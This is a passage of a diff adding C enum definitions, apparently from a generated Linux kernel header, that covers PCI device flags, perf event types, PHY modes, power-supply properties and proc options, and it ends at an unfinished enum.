PCI_DEV_FLAGS_ASSIGNED = 4, + PCI_DEV_FLAGS_ACS_ENABLED_QUIRK = 8, + PCI_DEV_FLAG_PCIE_BRIDGE_ALIAS = 32, + PCI_DEV_FLAGS_NO_BUS_RESET = 64, + PCI_DEV_FLAGS_NO_PM_RESET = 128, + PCI_DEV_FLAGS_VPD_REF_F0 = 256, + PCI_DEV_FLAGS_BRIDGE_XLATE_ROOT = 512, + PCI_DEV_FLAGS_NO_FLR_RESET = 1024, + PCI_DEV_FLAGS_NO_RELAXED_ORDERING = 2048, + PCI_DEV_FLAGS_HAS_MSI_MASKING = 4096, +}; + +enum pci_ers_result { + PCI_ERS_RESULT_NONE = 1, + PCI_ERS_RESULT_CAN_RECOVER = 2, + PCI_ERS_RESULT_NEED_RESET = 3, + PCI_ERS_RESULT_DISCONNECT = 4, + PCI_ERS_RESULT_RECOVERED = 5, + PCI_ERS_RESULT_NO_AER_DRIVER = 6, +}; + +enum pci_fixup_pass { + pci_fixup_early = 0, + pci_fixup_header = 1, + pci_fixup_final = 2, + pci_fixup_enable = 3, + pci_fixup_resume = 4, + pci_fixup_suspend = 5, + pci_fixup_resume_early = 6, + pci_fixup_suspend_late = 7, +}; + +enum pci_irq_reroute_variant { + INTEL_IRQ_REROUTE_VARIANT = 1, + MAX_IRQ_REROUTE_VARIANTS = 3, +}; + +enum pci_mmap_api { + PCI_MMAP_SYSFS = 0, + PCI_MMAP_PROCFS = 1, +}; + +enum pci_mmap_state { + pci_mmap_io = 0, + pci_mmap_mem = 1, +}; + +enum pci_p2pdma_map_type { + PCI_P2PDMA_MAP_UNKNOWN = 0, + PCI_P2PDMA_MAP_NOT_SUPPORTED = 1, + PCI_P2PDMA_MAP_BUS_ADDR = 2, + PCI_P2PDMA_MAP_THRU_HOST_BRIDGE = 3, +}; + +enum pcie_bus_config_types { + PCIE_BUS_TUNE_OFF = 0, + PCIE_BUS_DEFAULT = 1, + PCIE_BUS_SAFE = 2, + PCIE_BUS_PERFORMANCE = 3, + PCIE_BUS_PEER2PEER = 4, +}; + +enum pcie_link_width { + PCIE_LNK_WIDTH_RESRV = 0, + PCIE_LNK_X1 = 1, + PCIE_LNK_X2 = 2, + PCIE_LNK_X4 = 4, + PCIE_LNK_X8 = 8, + PCIE_LNK_X12 = 12, + PCIE_LNK_X16 = 16, + PCIE_LNK_X32 = 32, + PCIE_LNK_WIDTH_UNKNOWN = 255, +}; + +enum pcie_reset_state { + pcie_deassert_reset = 1, + pcie_warm_reset = 2, + pcie_hot_reset = 3, +}; + +enum pcim_addr_devres_type { + PCIM_ADDR_DEVRES_TYPE_INVALID = 0, + PCIM_ADDR_DEVRES_TYPE_REGION = 1, + PCIM_ADDR_DEVRES_TYPE_REGION_MAPPING = 2, + PCIM_ADDR_DEVRES_TYPE_MAPPING = 3, +}; + +enum pcpu_fc { + PCPU_FC_AUTO = 0, + PCPU_FC_EMBED = 1, + PCPU_FC_PAGE = 2, + PCPU_FC_NR = 3, +}; + +enum perf_addr_filter_action_t { + PERF_ADDR_FILTER_ACTION_STOP = 0, + PERF_ADDR_FILTER_ACTION_START = 1, + PERF_ADDR_FILTER_ACTION_FILTER = 2, +}; + +enum perf_bpf_event_type { + PERF_BPF_EVENT_UNKNOWN = 0, + PERF_BPF_EVENT_PROG_LOAD = 1, + PERF_BPF_EVENT_PROG_UNLOAD = 2, + PERF_BPF_EVENT_MAX = 3, +}; + +enum perf_branch_sample_type { + PERF_SAMPLE_BRANCH_USER = 1, + PERF_SAMPLE_BRANCH_KERNEL = 2, + PERF_SAMPLE_BRANCH_HV = 4, + PERF_SAMPLE_BRANCH_ANY = 8, + PERF_SAMPLE_BRANCH_ANY_CALL = 16, + PERF_SAMPLE_BRANCH_ANY_RETURN = 32, + PERF_SAMPLE_BRANCH_IND_CALL = 64, + PERF_SAMPLE_BRANCH_ABORT_TX = 128, + PERF_SAMPLE_BRANCH_IN_TX = 256, + PERF_SAMPLE_BRANCH_NO_TX = 512, + PERF_SAMPLE_BRANCH_COND = 1024, + PERF_SAMPLE_BRANCH_CALL_STACK = 2048, + PERF_SAMPLE_BRANCH_IND_JUMP = 4096, + PERF_SAMPLE_BRANCH_CALL = 8192, + PERF_SAMPLE_BRANCH_NO_FLAGS = 16384, + PERF_SAMPLE_BRANCH_NO_CYCLES = 32768, + PERF_SAMPLE_BRANCH_TYPE_SAVE = 65536, + PERF_SAMPLE_BRANCH_HW_INDEX = 131072, + PERF_SAMPLE_BRANCH_PRIV_SAVE = 262144, + PERF_SAMPLE_BRANCH_COUNTERS = 524288, + PERF_SAMPLE_BRANCH_MAX = 1048576, +}; + +enum perf_branch_sample_type_shift { + PERF_SAMPLE_BRANCH_USER_SHIFT = 0, + PERF_SAMPLE_BRANCH_KERNEL_SHIFT = 1, + PERF_SAMPLE_BRANCH_HV_SHIFT = 2, + PERF_SAMPLE_BRANCH_ANY_SHIFT = 3, + PERF_SAMPLE_BRANCH_ANY_CALL_SHIFT = 4, + PERF_SAMPLE_BRANCH_ANY_RETURN_SHIFT = 5, + PERF_SAMPLE_BRANCH_IND_CALL_SHIFT = 6, + PERF_SAMPLE_BRANCH_ABORT_TX_SHIFT = 7, + PERF_SAMPLE_BRANCH_IN_TX_SHIFT = 8, + PERF_SAMPLE_BRANCH_NO_TX_SHIFT = 9, + PERF_SAMPLE_BRANCH_COND_SHIFT = 10, + PERF_SAMPLE_BRANCH_CALL_STACK_SHIFT = 11, + PERF_SAMPLE_BRANCH_IND_JUMP_SHIFT = 12, + PERF_SAMPLE_BRANCH_CALL_SHIFT = 13, + PERF_SAMPLE_BRANCH_NO_FLAGS_SHIFT = 14, + PERF_SAMPLE_BRANCH_NO_CYCLES_SHIFT = 15, + PERF_SAMPLE_BRANCH_TYPE_SAVE_SHIFT = 16, + PERF_SAMPLE_BRANCH_HW_INDEX_SHIFT = 17, + PERF_SAMPLE_BRANCH_PRIV_SAVE_SHIFT = 18, + PERF_SAMPLE_BRANCH_COUNTERS_SHIFT = 19, + PERF_SAMPLE_BRANCH_MAX_SHIFT = 20, +}; + +enum perf_callchain_context { + PERF_CONTEXT_HV = 18446744073709551584ULL, + PERF_CONTEXT_KERNEL = 18446744073709551488ULL, + PERF_CONTEXT_USER = 18446744073709551104ULL, + PERF_CONTEXT_GUEST = 18446744073709549568ULL, + PERF_CONTEXT_GUEST_KERNEL = 18446744073709549440ULL, + PERF_CONTEXT_GUEST_USER = 18446744073709549056ULL, + PERF_CONTEXT_MAX = 18446744073709547521ULL, +}; + +enum perf_cstate_core_events { + PERF_CSTATE_CORE_C1_RES = 0, + PERF_CSTATE_CORE_C3_RES = 1, + PERF_CSTATE_CORE_C6_RES = 2, + PERF_CSTATE_CORE_C7_RES = 3, + PERF_CSTATE_CORE_EVENT_MAX = 4, +}; + +enum perf_cstate_module_events { + PERF_CSTATE_MODULE_C6_RES = 0, + PERF_CSTATE_MODULE_EVENT_MAX = 1, +}; + +enum perf_cstate_pkg_events { + PERF_CSTATE_PKG_C2_RES = 0, + PERF_CSTATE_PKG_C3_RES = 1, + PERF_CSTATE_PKG_C6_RES = 2, + PERF_CSTATE_PKG_C7_RES = 3, + PERF_CSTATE_PKG_C8_RES = 4, + PERF_CSTATE_PKG_C9_RES = 5, + PERF_CSTATE_PKG_C10_RES = 6, + PERF_CSTATE_PKG_EVENT_MAX = 7, +}; + +enum perf_event_ioc_flags { + PERF_IOC_FLAG_GROUP = 1, +}; + +enum perf_event_read_format { + PERF_FORMAT_TOTAL_TIME_ENABLED = 1, + PERF_FORMAT_TOTAL_TIME_RUNNING = 2, + PERF_FORMAT_ID = 4, + PERF_FORMAT_GROUP = 8, + PERF_FORMAT_LOST = 16, + PERF_FORMAT_MAX = 32, +}; + +enum perf_event_sample_format { + PERF_SAMPLE_IP = 1, + PERF_SAMPLE_TID = 2, + PERF_SAMPLE_TIME = 4, + PERF_SAMPLE_ADDR = 8, + PERF_SAMPLE_READ = 16, + PERF_SAMPLE_CALLCHAIN = 32, + PERF_SAMPLE_ID = 64, + PERF_SAMPLE_CPU = 128, + PERF_SAMPLE_PERIOD = 256, + PERF_SAMPLE_STREAM_ID = 512, + PERF_SAMPLE_RAW = 1024, + PERF_SAMPLE_BRANCH_STACK = 2048, + PERF_SAMPLE_REGS_USER = 4096, + PERF_SAMPLE_STACK_USER = 8192, + PERF_SAMPLE_WEIGHT = 16384, + PERF_SAMPLE_DATA_SRC = 32768, + PERF_SAMPLE_IDENTIFIER = 65536, + PERF_SAMPLE_TRANSACTION = 131072, + PERF_SAMPLE_REGS_INTR = 262144, + PERF_SAMPLE_PHYS_ADDR = 524288, + PERF_SAMPLE_AUX = 1048576, + PERF_SAMPLE_CGROUP = 2097152, + PERF_SAMPLE_DATA_PAGE_SIZE = 4194304, + PERF_SAMPLE_CODE_PAGE_SIZE = 8388608, + PERF_SAMPLE_WEIGHT_STRUCT = 16777216, + PERF_SAMPLE_MAX = 33554432, +}; + +enum perf_event_state { + PERF_EVENT_STATE_DEAD = -4, + PERF_EVENT_STATE_EXIT = -3, + PERF_EVENT_STATE_ERROR = -2, + PERF_EVENT_STATE_OFF = -1, + PERF_EVENT_STATE_INACTIVE = 0, + PERF_EVENT_STATE_ACTIVE = 1, +}; + +enum perf_event_task_context { + perf_invalid_context = -1, + perf_hw_context = 0, + perf_sw_context = 1, + perf_nr_task_contexts = 2, +}; + +enum perf_event_type { + PERF_RECORD_MMAP = 1, + PERF_RECORD_LOST = 2, + PERF_RECORD_COMM = 3, + PERF_RECORD_EXIT = 4, + PERF_RECORD_THROTTLE = 5, + PERF_RECORD_UNTHROTTLE = 6, + PERF_RECORD_FORK = 7, + PERF_RECORD_READ = 8, + PERF_RECORD_SAMPLE = 9, + PERF_RECORD_MMAP2 = 10, + PERF_RECORD_AUX = 11, + PERF_RECORD_ITRACE_START = 12, + PERF_RECORD_LOST_SAMPLES = 13, + PERF_RECORD_SWITCH = 14, + PERF_RECORD_SWITCH_CPU_WIDE = 15, + PERF_RECORD_NAMESPACES = 16, + PERF_RECORD_KSYMBOL = 17, + PERF_RECORD_BPF_EVENT = 18, + PERF_RECORD_CGROUP = 19, + PERF_RECORD_TEXT_POKE = 20, + PERF_RECORD_AUX_OUTPUT_HW_ID = 21, + PERF_RECORD_MAX = 22, +}; + +enum perf_event_x86_regs { + PERF_REG_X86_AX = 0, + PERF_REG_X86_BX = 1, + PERF_REG_X86_CX = 2, + PERF_REG_X86_DX = 3, + PERF_REG_X86_SI = 4, + PERF_REG_X86_DI = 5, + PERF_REG_X86_BP = 6, + PERF_REG_X86_SP = 7, + PERF_REG_X86_IP = 8, + PERF_REG_X86_FLAGS = 9, + PERF_REG_X86_CS = 10, + PERF_REG_X86_SS = 11, + PERF_REG_X86_DS = 12, + PERF_REG_X86_ES = 13, + PERF_REG_X86_FS = 14, + PERF_REG_X86_GS = 15, + PERF_REG_X86_R8 = 16, + PERF_REG_X86_R9 = 17, + PERF_REG_X86_R10 = 18, + PERF_REG_X86_R11 = 19, + PERF_REG_X86_R12 = 20, + PERF_REG_X86_R13 = 21, + PERF_REG_X86_R14 = 22, + PERF_REG_X86_R15 = 23, + PERF_REG_X86_32_MAX = 16, + PERF_REG_X86_64_MAX = 24, + PERF_REG_X86_XMM0 = 32, + PERF_REG_X86_XMM1 = 34, + PERF_REG_X86_XMM2 = 36, + PERF_REG_X86_XMM3 = 38, + PERF_REG_X86_XMM4 = 40, + PERF_REG_X86_XMM5 = 42, + PERF_REG_X86_XMM6 = 44, + PERF_REG_X86_XMM7 = 46, + PERF_REG_X86_XMM8 = 48, + PERF_REG_X86_XMM9 = 50, + PERF_REG_X86_XMM10 = 52, + PERF_REG_X86_XMM11 = 54, + PERF_REG_X86_XMM12 = 56, + PERF_REG_X86_XMM13 = 58, + PERF_REG_X86_XMM14 = 60, + PERF_REG_X86_XMM15 = 62, + PERF_REG_X86_XMM_MAX = 64, +}; + +enum perf_hw_cache_id { + PERF_COUNT_HW_CACHE_L1D = 0, + PERF_COUNT_HW_CACHE_L1I = 1, + PERF_COUNT_HW_CACHE_LL = 2, + PERF_COUNT_HW_CACHE_DTLB = 3, + PERF_COUNT_HW_CACHE_ITLB = 4, + PERF_COUNT_HW_CACHE_BPU = 5, + PERF_COUNT_HW_CACHE_NODE = 6, + PERF_COUNT_HW_CACHE_MAX = 7, +}; + +enum perf_hw_cache_op_id { + PERF_COUNT_HW_CACHE_OP_READ = 0, + PERF_COUNT_HW_CACHE_OP_WRITE = 1, + PERF_COUNT_HW_CACHE_OP_PREFETCH = 2, + PERF_COUNT_HW_CACHE_OP_MAX = 3, +}; + +enum perf_hw_cache_op_result_id { + PERF_COUNT_HW_CACHE_RESULT_ACCESS = 0, + PERF_COUNT_HW_CACHE_RESULT_MISS = 1, + PERF_COUNT_HW_CACHE_RESULT_MAX = 2, +}; + +enum perf_hw_id { + PERF_COUNT_HW_CPU_CYCLES = 0, + PERF_COUNT_HW_INSTRUCTIONS = 1, + PERF_COUNT_HW_CACHE_REFERENCES = 2, + PERF_COUNT_HW_CACHE_MISSES = 3, + PERF_COUNT_HW_BRANCH_INSTRUCTIONS = 4, + PERF_COUNT_HW_BRANCH_MISSES = 5, + PERF_COUNT_HW_BUS_CYCLES = 6, + PERF_COUNT_HW_STALLED_CYCLES_FRONTEND = 7, + PERF_COUNT_HW_STALLED_CYCLES_BACKEND = 8, + PERF_COUNT_HW_REF_CPU_CYCLES = 9, + PERF_COUNT_HW_MAX = 10, +}; + +enum perf_msr_id { + PERF_MSR_TSC = 0, + PERF_MSR_APERF = 1, + PERF_MSR_MPERF = 2, + PERF_MSR_PPERF = 3, + PERF_MSR_SMI = 4, + PERF_MSR_PTSC = 5, + PERF_MSR_IRPERF = 6, + PERF_MSR_THERM = 7, + PERF_MSR_EVENT_MAX = 8, +}; + +enum perf_pmu_scope { + PERF_PMU_SCOPE_NONE = 0, + PERF_PMU_SCOPE_CORE = 1, + PERF_PMU_SCOPE_DIE = 2, + PERF_PMU_SCOPE_CLUSTER = 3, + PERF_PMU_SCOPE_PKG = 4, + PERF_PMU_SCOPE_SYS_WIDE = 5, + PERF_PMU_MAX_SCOPE = 6, +}; + +enum perf_probe_config { + PERF_PROBE_CONFIG_IS_RETPROBE = 1, + PERF_UPROBE_REF_CTR_OFFSET_BITS = 32, + PERF_UPROBE_REF_CTR_OFFSET_SHIFT = 32, +}; + +enum perf_rapl_events { + PERF_RAPL_PP0 = 0, + PERF_RAPL_PKG = 1, + PERF_RAPL_RAM = 2, + PERF_RAPL_PP1 = 3, + PERF_RAPL_PSYS = 4, + PERF_RAPL_MAX = 5, + NR_RAPL_DOMAINS = 5, +}; + +enum perf_record_ksymbol_type { + PERF_RECORD_KSYMBOL_TYPE_UNKNOWN = 0, + PERF_RECORD_KSYMBOL_TYPE_BPF = 1, + PERF_RECORD_KSYMBOL_TYPE_OOL = 2, + PERF_RECORD_KSYMBOL_TYPE_MAX = 3, +}; + +enum perf_sample_regs_abi { + PERF_SAMPLE_REGS_ABI_NONE = 0, + PERF_SAMPLE_REGS_ABI_32 = 1, + PERF_SAMPLE_REGS_ABI_64 = 2, +}; + +enum perf_sw_ids { + PERF_COUNT_SW_CPU_CLOCK = 0, + PERF_COUNT_SW_TASK_CLOCK = 1, + PERF_COUNT_SW_PAGE_FAULTS = 2, + PERF_COUNT_SW_CONTEXT_SWITCHES = 3, + PERF_COUNT_SW_CPU_MIGRATIONS = 4, + PERF_COUNT_SW_PAGE_FAULTS_MIN = 5, + PERF_COUNT_SW_PAGE_FAULTS_MAJ = 6, + PERF_COUNT_SW_ALIGNMENT_FAULTS = 7, + PERF_COUNT_SW_EMULATION_FAULTS = 8, + PERF_COUNT_SW_DUMMY = 9, + PERF_COUNT_SW_BPF_OUTPUT = 10, + PERF_COUNT_SW_CGROUP_SWITCHES = 11, + PERF_COUNT_SW_MAX = 12, +}; + +enum perf_type_id { + PERF_TYPE_HARDWARE = 0, + PERF_TYPE_SOFTWARE = 1, + PERF_TYPE_TRACEPOINT = 2, + PERF_TYPE_HW_CACHE = 3, + PERF_TYPE_RAW = 4, + PERF_TYPE_BREAKPOINT = 5, + PERF_TYPE_MAX = 6, +}; + +enum pg_level { + PG_LEVEL_NONE = 0, + PG_LEVEL_4K = 1, + PG_LEVEL_2M = 2, + PG_LEVEL_1G = 3, + PG_LEVEL_512G = 4, + PG_LEVEL_256T = 5, + PG_LEVEL_NUM = 6, +}; + +enum pgdat_flags { + PGDAT_DIRTY = 0, + PGDAT_WRITEBACK = 1, + PGDAT_RECLAIM_LOCKED = 2, +}; + +enum pgt_entry { + NORMAL_PMD = 0, + HPAGE_PMD = 1, + NORMAL_PUD = 2, + HPAGE_PUD = 3, +}; + +enum phy { + phy_100a = 992, + phy_100c = 55575208, + phy_82555_tx = 22020776, + phy_nsc_tx = 1543512064, + phy_82562_et = 53478056, + phy_82562_em = 52429480, + phy_82562_ek = 51380904, + phy_82562_eh = 24117928, + phy_82552_v = 3496017997, + phy_unknown = 4294967295, +}; + +enum phy_media { + PHY_MEDIA_DEFAULT = 0, + PHY_MEDIA_SR = 1, + PHY_MEDIA_DAC = 2, +}; + +enum phy_mode { + PHY_MODE_INVALID = 0, + PHY_MODE_USB_HOST = 1, + PHY_MODE_USB_HOST_LS = 2, + PHY_MODE_USB_HOST_FS = 3, + PHY_MODE_USB_HOST_HS = 4, + PHY_MODE_USB_HOST_SS = 5, + PHY_MODE_USB_DEVICE = 6, + PHY_MODE_USB_DEVICE_LS = 7, + PHY_MODE_USB_DEVICE_FS = 8, + PHY_MODE_USB_DEVICE_HS = 9, + PHY_MODE_USB_DEVICE_SS = 10, + PHY_MODE_USB_OTG = 11, + PHY_MODE_UFS_HS_A = 12, + PHY_MODE_UFS_HS_B = 13, + PHY_MODE_PCIE = 14, + PHY_MODE_ETHERNET = 15, + PHY_MODE_MIPI_DPHY = 16, + PHY_MODE_SATA = 17, + PHY_MODE_LVDS = 18, + PHY_MODE_DP = 19, +}; + +enum phy_state { + PHY_DOWN = 0, + PHY_READY = 1, + PHY_HALTED = 2, + PHY_ERROR = 3, + PHY_UP = 4, + PHY_RUNNING = 5, + PHY_NOLINK = 6, + PHY_CABLETEST = 7, +}; + +enum phy_state_work { + PHY_STATE_WORK_NONE = 0, + PHY_STATE_WORK_ANEG = 1, + PHY_STATE_WORK_SUSPEND = 2, +}; + +enum phy_tunable_id { + ETHTOOL_PHY_ID_UNSPEC = 0, + ETHTOOL_PHY_DOWNSHIFT = 1, + ETHTOOL_PHY_FAST_LINK_DOWN = 2, + ETHTOOL_PHY_EDPD = 3, + __ETHTOOL_PHY_TUNABLE_COUNT = 4, +}; + +enum phy_upstream { + PHY_UPSTREAM_MAC = 0, + PHY_UPSTREAM_PHY = 1, +}; + +enum pid_type { + PIDTYPE_PID = 0, + PIDTYPE_TGID = 1, + PIDTYPE_PGID = 2, + PIDTYPE_SID = 3, + PIDTYPE_MAX = 4, +}; + +enum pidcg_event { + PIDCG_MAX = 0, + PIDCG_FORKFAIL = 1, + NR_PIDCG_EVENTS = 2, +}; + +enum piix_controller_ids { + piix_pata_mwdma = 0, + piix_pata_33 = 1, + ich_pata_33 = 2, + ich_pata_66 = 3, + ich_pata_100 = 4, + ich_pata_100_nomwdma1 = 5, + ich5_sata = 6, + ich6_sata = 7, + ich6m_sata = 8, + ich8_sata = 9, + ich8_2port_sata = 10, + ich8m_apple_sata = 11, + tolapai_sata = 12, + piix_pata_vmw = 13, + ich8_sata_snb = 14, + ich8_2port_sata_snb = 15, + ich8_2port_sata_byt = 16, +}; + +enum pkt_hash_types { + PKT_HASH_TYPE_NONE = 0, + PKT_HASH_TYPE_L2 = 1, + PKT_HASH_TYPE_L3 = 2, + PKT_HASH_TYPE_L4 = 3, +}; + +enum pm_qos_flags_status { + PM_QOS_FLAGS_UNDEFINED = -1, + PM_QOS_FLAGS_NONE = 0, + PM_QOS_FLAGS_SOME = 1, + PM_QOS_FLAGS_ALL = 2, +}; + +enum pm_qos_req_action { + PM_QOS_ADD_REQ = 0, + PM_QOS_UPDATE_REQ = 1, + PM_QOS_REMOVE_REQ = 2, +}; + +enum pm_qos_type { + PM_QOS_UNITIALIZED = 0, + PM_QOS_MAX = 1, + PM_QOS_MIN = 2, +}; + +enum pmc_type { + KVM_PMC_GP = 0, + KVM_PMC_FIXED = 1, +}; + +enum poll_time_type { + PT_TIMEVAL = 0, + PT_OLD_TIMEVAL = 1, + PT_TIMESPEC = 2, + PT_OLD_TIMESPEC = 3, +}; + +enum pool_workqueue_stats { + PWQ_STAT_STARTED = 0, + PWQ_STAT_COMPLETED = 1, + PWQ_STAT_CPU_TIME = 2, + PWQ_STAT_CPU_INTENSIVE = 3, + PWQ_STAT_CM_WAKEUP = 4, + PWQ_STAT_REPATRIATED = 5, + PWQ_STAT_MAYDAY = 6, + PWQ_STAT_RESCUED = 7, + PWQ_NR_STATS = 8, +}; + +enum port { + software_reset = 0, + selftest = 1, + selective_reset = 2, +}; + +enum positive_aop_returns { + AOP_WRITEPAGE_ACTIVATE = 524288, + AOP_TRUNCATED_PAGE = 524289, +}; + +enum power_supply_charge_behaviour { + POWER_SUPPLY_CHARGE_BEHAVIOUR_AUTO = 0, + POWER_SUPPLY_CHARGE_BEHAVIOUR_INHIBIT_CHARGE = 1, + POWER_SUPPLY_CHARGE_BEHAVIOUR_FORCE_DISCHARGE = 2, +}; + +enum power_supply_notifier_events { + PSY_EVENT_PROP_CHANGED = 0, +}; + +enum power_supply_property { + POWER_SUPPLY_PROP_STATUS = 0, + POWER_SUPPLY_PROP_CHARGE_TYPE = 1, + POWER_SUPPLY_PROP_HEALTH = 2, + POWER_SUPPLY_PROP_PRESENT = 3, + POWER_SUPPLY_PROP_ONLINE = 4, + POWER_SUPPLY_PROP_AUTHENTIC = 5, + POWER_SUPPLY_PROP_TECHNOLOGY = 6, + POWER_SUPPLY_PROP_CYCLE_COUNT = 7, + POWER_SUPPLY_PROP_VOLTAGE_MAX = 8, + POWER_SUPPLY_PROP_VOLTAGE_MIN = 9, + POWER_SUPPLY_PROP_VOLTAGE_MAX_DESIGN = 10, + POWER_SUPPLY_PROP_VOLTAGE_MIN_DESIGN = 11, + POWER_SUPPLY_PROP_VOLTAGE_NOW = 12, + POWER_SUPPLY_PROP_VOLTAGE_AVG = 13, + POWER_SUPPLY_PROP_VOLTAGE_OCV = 14, + POWER_SUPPLY_PROP_VOLTAGE_BOOT = 15, + POWER_SUPPLY_PROP_CURRENT_MAX = 16, + POWER_SUPPLY_PROP_CURRENT_NOW = 17, + POWER_SUPPLY_PROP_CURRENT_AVG = 18, + POWER_SUPPLY_PROP_CURRENT_BOOT = 19, + POWER_SUPPLY_PROP_POWER_NOW = 20, + POWER_SUPPLY_PROP_POWER_AVG = 21, + POWER_SUPPLY_PROP_CHARGE_FULL_DESIGN = 22, + POWER_SUPPLY_PROP_CHARGE_EMPTY_DESIGN = 23, + POWER_SUPPLY_PROP_CHARGE_FULL = 24, + POWER_SUPPLY_PROP_CHARGE_EMPTY = 25, + POWER_SUPPLY_PROP_CHARGE_NOW = 26, + POWER_SUPPLY_PROP_CHARGE_AVG = 27, + POWER_SUPPLY_PROP_CHARGE_COUNTER = 28, + POWER_SUPPLY_PROP_CONSTANT_CHARGE_CURRENT = 29, + POWER_SUPPLY_PROP_CONSTANT_CHARGE_CURRENT_MAX = 30, + POWER_SUPPLY_PROP_CONSTANT_CHARGE_VOLTAGE = 31, + POWER_SUPPLY_PROP_CONSTANT_CHARGE_VOLTAGE_MAX = 32, + POWER_SUPPLY_PROP_CHARGE_CONTROL_LIMIT = 33, + POWER_SUPPLY_PROP_CHARGE_CONTROL_LIMIT_MAX = 34, + POWER_SUPPLY_PROP_CHARGE_CONTROL_START_THRESHOLD = 35, + POWER_SUPPLY_PROP_CHARGE_CONTROL_END_THRESHOLD = 36, + POWER_SUPPLY_PROP_CHARGE_BEHAVIOUR = 37, + POWER_SUPPLY_PROP_INPUT_CURRENT_LIMIT = 38, + POWER_SUPPLY_PROP_INPUT_VOLTAGE_LIMIT = 39, + POWER_SUPPLY_PROP_INPUT_POWER_LIMIT = 40, + POWER_SUPPLY_PROP_ENERGY_FULL_DESIGN = 41, + POWER_SUPPLY_PROP_ENERGY_EMPTY_DESIGN = 42, + POWER_SUPPLY_PROP_ENERGY_FULL = 43, + POWER_SUPPLY_PROP_ENERGY_EMPTY = 44, + POWER_SUPPLY_PROP_ENERGY_NOW = 45, + POWER_SUPPLY_PROP_ENERGY_AVG = 46, + POWER_SUPPLY_PROP_CAPACITY = 47, + POWER_SUPPLY_PROP_CAPACITY_ALERT_MIN = 48, + POWER_SUPPLY_PROP_CAPACITY_ALERT_MAX = 49, + POWER_SUPPLY_PROP_CAPACITY_ERROR_MARGIN = 50, + POWER_SUPPLY_PROP_CAPACITY_LEVEL = 51, + POWER_SUPPLY_PROP_TEMP = 52, + POWER_SUPPLY_PROP_TEMP_MAX = 53, + POWER_SUPPLY_PROP_TEMP_MIN = 54, + POWER_SUPPLY_PROP_TEMP_ALERT_MIN = 55, + POWER_SUPPLY_PROP_TEMP_ALERT_MAX = 56, + POWER_SUPPLY_PROP_TEMP_AMBIENT = 57, + POWER_SUPPLY_PROP_TEMP_AMBIENT_ALERT_MIN = 58, + POWER_SUPPLY_PROP_TEMP_AMBIENT_ALERT_MAX = 59, + POWER_SUPPLY_PROP_TIME_TO_EMPTY_NOW = 60, + POWER_SUPPLY_PROP_TIME_TO_EMPTY_AVG = 61, + POWER_SUPPLY_PROP_TIME_TO_FULL_NOW = 62, + POWER_SUPPLY_PROP_TIME_TO_FULL_AVG = 63, + POWER_SUPPLY_PROP_TYPE = 64, + POWER_SUPPLY_PROP_USB_TYPE = 65, + POWER_SUPPLY_PROP_SCOPE = 66, + POWER_SUPPLY_PROP_PRECHARGE_CURRENT = 67, + POWER_SUPPLY_PROP_CHARGE_TERM_CURRENT = 68, + POWER_SUPPLY_PROP_CALIBRATE = 69, + POWER_SUPPLY_PROP_MANUFACTURE_YEAR = 70, + POWER_SUPPLY_PROP_MANUFACTURE_MONTH = 71, + POWER_SUPPLY_PROP_MANUFACTURE_DAY = 72, + POWER_SUPPLY_PROP_MODEL_NAME = 73, + POWER_SUPPLY_PROP_MANUFACTURER = 74, + POWER_SUPPLY_PROP_SERIAL_NUMBER = 75, +}; + +enum power_supply_type { + POWER_SUPPLY_TYPE_UNKNOWN = 0, + POWER_SUPPLY_TYPE_BATTERY = 1, + POWER_SUPPLY_TYPE_UPS = 2, + POWER_SUPPLY_TYPE_MAINS = 3, + POWER_SUPPLY_TYPE_USB = 4, + POWER_SUPPLY_TYPE_USB_DCP = 5, + POWER_SUPPLY_TYPE_USB_CDP = 6, + POWER_SUPPLY_TYPE_USB_ACA = 7, + POWER_SUPPLY_TYPE_USB_TYPE_C = 8, + POWER_SUPPLY_TYPE_USB_PD = 9, + POWER_SUPPLY_TYPE_USB_PD_DRP = 10, + POWER_SUPPLY_TYPE_APPLE_BRICK_ID = 11, + POWER_SUPPLY_TYPE_WIRELESS = 12, +}; + +enum pr_status { + PR_STS_SUCCESS = 0, + PR_STS_IOERR = 2, + PR_STS_RESERVATION_CONFLICT = 24, + PR_STS_RETRY_PATH_FAILURE = 917504, + PR_STS_PATH_FAST_FAILED = 983040, + PR_STS_PATH_FAILED = 65536, +}; + +enum pr_type { + PR_WRITE_EXCLUSIVE = 1, + PR_EXCLUSIVE_ACCESS = 2, + PR_WRITE_EXCLUSIVE_REG_ONLY = 3, + PR_EXCLUSIVE_ACCESS_REG_ONLY = 4, + PR_WRITE_EXCLUSIVE_ALL_REGS = 5, + PR_EXCLUSIVE_ACCESS_ALL_REGS = 6, +}; + +enum prep_dispatch { + PREP_DISPATCH_OK = 0, + PREP_DISPATCH_NO_TAG = 1, + PREP_DISPATCH_NO_BUDGET = 2, +}; + +enum print_line_t { + TRACE_TYPE_PARTIAL_LINE = 0, + TRACE_TYPE_HANDLED = 1, + TRACE_TYPE_UNHANDLED = 2, + TRACE_TYPE_NO_CONSUME = 3, +}; + +enum printk_info_flags { + LOG_NEWLINE = 2, + LOG_CONT = 8, +}; + +enum prio_policy { + POLICY_NO_CHANGE = 0, + POLICY_PROMOTE_TO_RT = 1, + POLICY_RESTRICT_TO_BE = 2, + POLICY_ALL_TO_IDLE = 3, + POLICY_NONE_TO_RT = 4, +}; + +enum probe_print_type { + PROBE_PRINT_NORMAL = 0, + PROBE_PRINT_RETURN = 1, + PROBE_PRINT_EVENT = 2, +}; + +enum probe_type { + PROBE_DEFAULT_STRATEGY = 0, + PROBE_PREFER_ASYNCHRONOUS = 1, + PROBE_FORCE_SYNCHRONOUS = 2, +}; + +enum proc_cn_event { + PROC_EVENT_NONE = 0, + PROC_EVENT_FORK = 1, + PROC_EVENT_EXEC = 2, + PROC_EVENT_UID = 4, + PROC_EVENT_GID = 64, + PROC_EVENT_SID = 128, + PROC_EVENT_PTRACE = 256, + PROC_EVENT_COMM = 512, + PROC_EVENT_NONZERO_EXIT = 536870912, + PROC_EVENT_COREDUMP = 1073741824, + PROC_EVENT_EXIT = 2147483648, +}; + +enum proc_hidepid { + HIDEPID_OFF = 0, + HIDEPID_NO_ACCESS = 1, + HIDEPID_INVISIBLE = 2, + HIDEPID_NOT_PTRACEABLE = 4, +}; + +enum proc_mem_force { + PROC_MEM_FORCE_ALWAYS = 0, + PROC_MEM_FORCE_PTRACE = 1, + PROC_MEM_FORCE_NEVER = 2, +}; + +enum proc_param { + Opt_gid___9 = 0, + Opt_hidepid = 1, + Opt_subset = 2, +}; + +enum proc_pidonly { + PROC_PIDONLY_OFF = 0, + PROC_PIDONLY_ON = 1, +}; + +enum procmap_query_flags { + 